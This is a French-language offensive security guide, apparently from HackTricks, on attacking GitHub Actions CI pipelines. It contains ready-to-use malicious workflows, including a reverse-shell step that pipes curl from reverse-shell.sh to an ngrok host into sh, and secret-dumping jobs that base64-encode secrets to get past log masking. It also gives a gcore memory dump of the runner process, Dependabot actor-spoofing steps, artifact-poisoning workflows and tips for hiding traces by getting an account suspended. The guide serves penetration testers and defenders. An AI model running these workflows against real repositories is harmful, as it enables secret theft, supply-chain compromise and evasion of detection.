Abuser de Github Actions

Reading time: 24 minutes

Outils

Les outils suivants sont utiles pour trouver des Github Action workflows et même en détecter des vulnérables :

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - Vérifiez aussi sa checklist sur https://docs.zizmor.sh/audits

Informations de base

Sur cette page, vous trouverez :

• Un résumé de tous les impacts d'un attaquant parvenant à accéder à une Github Action
• Différentes façons de obtenir l'accès à une action :
• Disposer des permissions pour créer l'action
• Abuser des triggers liés aux pull request
• Abuser d'autres techniques d'accès externe
• Pivoting depuis un repo déjà compromis
• Enfin, une section sur les post-exploitation techniques pour abuser d'une action depuis l'intérieur (causer les impacts mentionnés)

Résumé des impacts

For an introduction about Github Actions check the basic information.

Si vous pouvez exécuter du code arbitraire dans GitHub Actions au sein d'un repository, vous pourriez être en mesure de :

• Voler des secrets montés dans le pipeline et abuser des privilèges du pipeline pour obtenir un accès non autorisé à des plateformes externes, telles que AWS et GCP.
• Compromettre des déploiements et d'autres artefacts.
• Si le pipeline déploie ou stocke des assets, vous pourriez altérer le produit final, permettant une supply chain attack.
• Exécuter du code dans des custom workers pour abuser de la puissance de calcul et pivoter vers d'autres systèmes.
• Écraser le code du repository, selon les permissions associées au GITHUB_TOKEN.

GITHUB_TOKEN

Ce "secret" (provenant de ${{ secrets.GITHUB_TOKEN }} et ${{ github.token }}) est fourni lorsque l'admin active cette option :

Ce token est le même que celui qu'une Github Application will use, il peut donc accéder aux mêmes endpoints : https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Vous pouvez voir les permissions possibles de ce token sur : https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Notez que le token expire une fois le job terminé.
Ces tokens ressemblent à ceci : ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Quelques actions intéressantes que vous pouvez faire avec ce token :

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Il est possible de vérifier les permissions accordées à un Github Token dans les repositories d'autres utilisateurs en vérifiant les logs des actions :

Exécution autorisée

Exécution depuis la création d'un repo

Dans le cas où les membres d'une organisation peuvent créer de nouveaux repos et que vous pouvez exécuter des Github actions, vous pouvez créer un nouveau repo et voler les secrets définis au niveau de l'organisation.

Exécution depuis une nouvelle branche

Si vous pouvez créer une nouvelle branche dans un repository qui contient déjà une Github Action configurée, vous pouvez la modifier, uploader le contenu, et ensuite exécuter cette action depuis la nouvelle branche. De cette façon vous pouvez exfiltrate repository and organization level secrets (mais vous devez savoir comment ils sont appelés).

Vous pouvez rendre l'action modifiée exécutable manuellement, lorsque une PR est créée ou lorsque du code est poussé (selon le niveau de bruit que vous voulez générer) :

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Exécution forkée

pull_request

Le trigger de workflow pull_request exécutera le workflow à chaque fois qu'une pull request est reçue, avec quelques exceptions : par défaut, si c'est la première fois que vous contribuez, un maintainer devra approuver la run du workflow :

De plus, par défaut cela empêche les write permissions et l'accès aux secrets du repository cible comme indiqué dans les docs :

With the exception of GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. The GITHUB_TOKEN has read-only permissions in pull requests from forked repositories.

Un attaquant pourrait modifier la définition de la Github Action afin d'exécuter des choses arbitraires et d'ajouter des actions arbitraires. Cependant, il ne pourra pas voler des secrets ni écraser le repo à cause des limitations mentionnées.

Comme l'attaquant contrôle aussi le code exécuté, même s'il n'y a pas de secrets ou de write permissions sur le GITHUB_TOKEN, un attaquant pourrait par exemple uploader des artifacts malveillants.

pull_request_target

Le trigger de workflow pull_request_target dispose de write permission sur le repository cible et d'accès aux secrets (et ne demande pas d'autorisation).

Notez que le trigger de workflow pull_request_target s'exécute dans le contexte base et non dans celui fourni par la PR (afin de ne pas exécuter de code non fiable). Pour plus d'infos sur pull_request_target consultez les docs.
De plus, pour plus d'infos sur cet usage spécifiquement dangereux, consultez ce github blog post.

On pourrait penser que parce que le workflow exécuté est celui défini dans la base et non dans la PR, il est sûr d'utiliser pull_request_target, mais il existe quelques cas où ce n'est pas le cas.

Et celui-ci aura accès aux secrets.

workflow_run

Le trigger workflow_run permet d'exécuter un workflow depuis un autre lorsque celui-ci est completed, requested ou in_progress.

Dans cet exemple, un workflow est configuré pour s'exécuter après l'achèvement du workflow séparé "Run Tests" :

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

De plus, selon la documentation : le workflow démarré par l'événement workflow_run peut accéder aux secrets et aux tokens d'écriture, même si le workflow précédent ne le pouvait pas.

Ce type de workflow peut être attaqué s'il dépend d'un workflow qui peut être déclenché par un utilisateur externe via pull_request ou pull_request_target. Quelques exemples vulnérables peuvent être found this blog. Le premier consiste en un workflow déclenché par workflow_run qui télécharge le code de l'attaquant : ${{ github.event.pull_request.head.sha }}
Le second consiste à passer un artifact provenant du code non fiable vers le workflow workflow_run et à utiliser le contenu de cet artifact d'une manière qui le rend vulnérable à une RCE.

workflow_call

À FAIRE

À FAIRE : vérifier si, lorsqu'il est exécuté depuis un pull_request, le code utilisé/téléchargé est celui de l'origin ou celui du PR forké

Abusing Forked Execution

Nous avons mentionné toutes les façons dont un attaquant externe pourrait parvenir à faire exécuter un workflow github ; voyons maintenant comment ces exécutions, si mal configurées, peuvent être abusées :

Exécution de checkout non fiable

Dans le cas de pull_request, le workflow va s'exécuter dans le contexte de la PR (donc il exécutera le code malveillant de la PR), mais quelqu'un doit l'autoriser au préalable et il s'exécutera avec certaines limitations.

Dans le cas d'un workflow utilisant pull_request_target ou workflow_run qui dépend d'un workflow pouvant être déclenché depuis pull_request_target ou pull_request, le code du repo original sera exécuté, donc l'attaquant ne peut pas contrôler le code exécuté.

# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Le code potentiellement non fiable est exécuté pendant npm install ou npm build puisque les scripts de build et les packages référencés sont contrôlés par l'auteur de la PR.

Context Script Injections

Notez qu'il existe certains github contexts dont les valeurs sont contrôlées par l'utilisateur créant la PR. Si l'action github utilise ces données pour exécuter quoi que ce soit, cela peut conduire à une exécution de code arbitraire :

Gh Actions - Context Script Injections

GITHUB_ENV Script Injection

D'après la documentation : vous pouvez rendre une variable d'environnement disponible pour toutes les étapes suivantes d'un job de workflow en définissant ou en mettant à jour la variable d'environnement et en l'écrivant dans le fichier d'environnement GITHUB_ENV.

Si un attaquant pouvait injecter n'importe quelle valeur dans cette variable d'environnement, il pourrait injecter des variables d'environnement qui exécuteraient du code dans les étapes suivantes, comme LD_PRELOAD ou NODE_OPTIONS.

Par exemple (this et this), imaginez un workflow qui fait confiance à un artifact uploadé pour stocker son contenu dans la variable d'environnement GITHUB_ENV. Un attaquant pourrait uploader quelque chose comme ceci pour le compromettre :

Dependabot and other trusted bots

Comme indiqué dans this blog post, plusieurs organisations ont une Github Action qui merge toute PR provenant de dependabot[bot] comme dans :

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Ce qui pose problème car le champ github.actor contient l'utilisateur qui a provoqué le dernier événement ayant déclenché le workflow. Et il existe plusieurs façons de faire en sorte que l'utilisateur dependabot[bot] modifie un PR. Par exemple :

• Fork the victim repository
• Add the malicious payload to your copy
• Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
• Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
• Then, attacker goes back to the initial PR Dependabot opened in his fork and runs @dependabot recreate
• Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes dependabot[bot] the actor of the latest event that triggered the workflow (and therefore, the workflow runs).

Moving on, what if instead of merging the Github Action would have a command injection like in:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Bon, le billet original propose deux options pour abuser ce comportement, la seconde étant :

• Créez un fork du dépôt victime et activez Dependabot avec une dépendance obsolète.
• Créez une nouvelle branche avec le malicious shell injeciton code.
• Changez la branche par défaut du dépôt pour celle-ci
• Créez une PR depuis cette branche vers le dépôt victime.
• Exécutez @dependabot merge dans la PR que Dependabot a ouverte dans son fork.
• Dependabot fusionnera ses modifications dans la branche par défaut de votre dépôt forké, mettant à jour la PR dans le dépôt victime, faisant maintenant du dependabot[bot] l'acteur du dernier événement qui a déclenché le workflow et utilisant un nom de branche malveillant.

Github Actions tierces vulnérables

dawidd6/action-download-artifact

Comme mentionné dans this blog post, cette Github Action permet d'accéder aux artifacts de différents workflows et même de dépôts.

Le problème est que si le paramètre path n'est pas défini, l'artifact est extrait dans le répertoire courant et il peut écraser des fichiers qui pourraient ensuite être utilisés ou même exécutés dans le workflow. Par conséquent, si l'Artifact est vulnérable, un attaquant pourrait abuser de cela pour compromettre d'autres workflows faisant confiance à l'Artifact.

Example of vulnerable workflow:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Cela pourrait être attaqué avec ce workflow :

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Autres accès externes

Deleted Namespace Repo Hijacking

If an account changes it's name another user could register an account with that name after some time. If a repository had less than 100 stars previously to the change of name, Github will allow the new register user with the same name to create a repository with the same name as the one deleted.

If other repositories where using dependencies from this user repos, an attacker will be able to hijack them Here you have a more complete explanation: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Cache Poisoning

A cache is maintained between wokflow runs in the same branch. Which means that if an attacker compromise a package that is then stored in the cache and downloaded and executed by a more privileged workflow he will be able to compromise also that workflow.

GH Actions - Cache Poisoning

Artifact Poisoning

Workflows could use artifacts from other workflows and even repos, if an attacker manages to compromise the Github Action that uploads an artifact that is later used by another workflow he could compromise the other workflows:

Gh Actions - Artifact Poisoning

Post Exploitation from an Action

Github Action Policies Bypass

As commented in this blog post, even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (git clone) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, the action will be executed without any restriction.

Exemple:

on: [push, pull_request]

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout

- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat

- run: ls && pwd

- run: ls tmp/checkout

Accéder à AWS, Azure et GCP via OIDC

Check the following pages:

AWS - Federation Abuse

Az Federation Abuse

GCP - Federation Abuse

Accéder aux secrets

Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :

• Si le secret ou le token est défini dans une variable d'environnement, il peut être accédé directement via l'environnement en utilisant printenv.

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Si le secret est utilisé directement dans une expression, le script shell généré est stocké sur le disque et est accessible.

cat /home/runner/work/_temp/*

- Pour les JavaScript actions, les secrets sont envoyés via des variables d'environnement
- ```bash
ps axe | grep node

• Pour une custom action, le risque peut varier selon la façon dont un programme utilise le secret obtenu depuis l'argument :

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

• Énumérer tous les secrets via le secrets context (niveau collaborateur). Un contributeur avec accès en écriture peut modifier un workflow sur n'importe quelle branche pour vidanger tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement :

name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0

Décoder localement :

echo "ZXdv...Zz09" | base64 -d | base64 -d

Astuce : pour la discrétion pendant les tests, chiffrer avant d'afficher (openssl est préinstallé sur GitHub-hosted runners).

Abuser des Self-hosted runners

La façon de trouver quelles Github Actions are being executed in non-github infrastructure est de rechercher runs-on: self-hosted dans le yaml de configuration de l'action GitHub.

Self-hosted runners peuvent avoir accès à des informations sensibles supplémentaires, à d'autres systèmes réseau (endpoints vulnérables dans le réseau ? metadata service ?) ou, même s'ils sont isolés et détruits, plus d'une action peut être exécutée en même temps et l'action malveillante pourrait voler les secrets de l'autre.

Dans les self-hosted runners il est aussi possible d'obtenir les secrets from the _Runner.Listener_** process** which will contain all the secrets of the workflows at any step by dumping its memory:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Check this post for more information.

Github Registre d'images Docker

Il est possible de créer des Github actions qui vont build and store a Docker image inside Github.
Un exemple se trouve dans l'élément déroulant suivant :

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Comme vous avez pu le voir dans le code précédent, le registre Github est hébergé sur ghcr.io.

Un utilisateur disposant de permissions de lecture sur le repo pourra alors télécharger l'image Docker en utilisant un personal access token:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Ensuite, l'utilisateur pourrait rechercher leaked secrets in the Docker image layers:

Docker Forensics - HackTricks

Informations sensibles dans les logs de Github Actions

Même si Github tente de détecter les valeurs secrètes dans les logs des actions et d'éviter de les afficher, d'autres données sensibles pouvant avoir été générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il soit spécifiquement configuré.

Masquer vos traces

(Technique from here) Tout d'abord, toute PR ouverte est clairement visible par le public sur Github et par le compte GitHub ciblé. Sur GitHub, par défaut, nous ne pouvons pas supprimer une PR de l'internet, mais il y a une astuce. Pour les comptes Github qui sont suspendus par Github, toutes leurs PRs sont automatiquement supprimées et retirées de l'internet. Donc, pour masquer votre activité, vous devez soit faire suspendre votre GitHub account soit faire signaler votre compte. Cela masquerait toutes vos activités sur GitHub depuis l'internet (supprimant essentiellement toutes vos exploit PR)

Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Il vous suffit de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 hours :p et voilà, votre exploit devient invisible sur github.

Références

• GitHub Actions: A Cloudy Day for Security - Part 1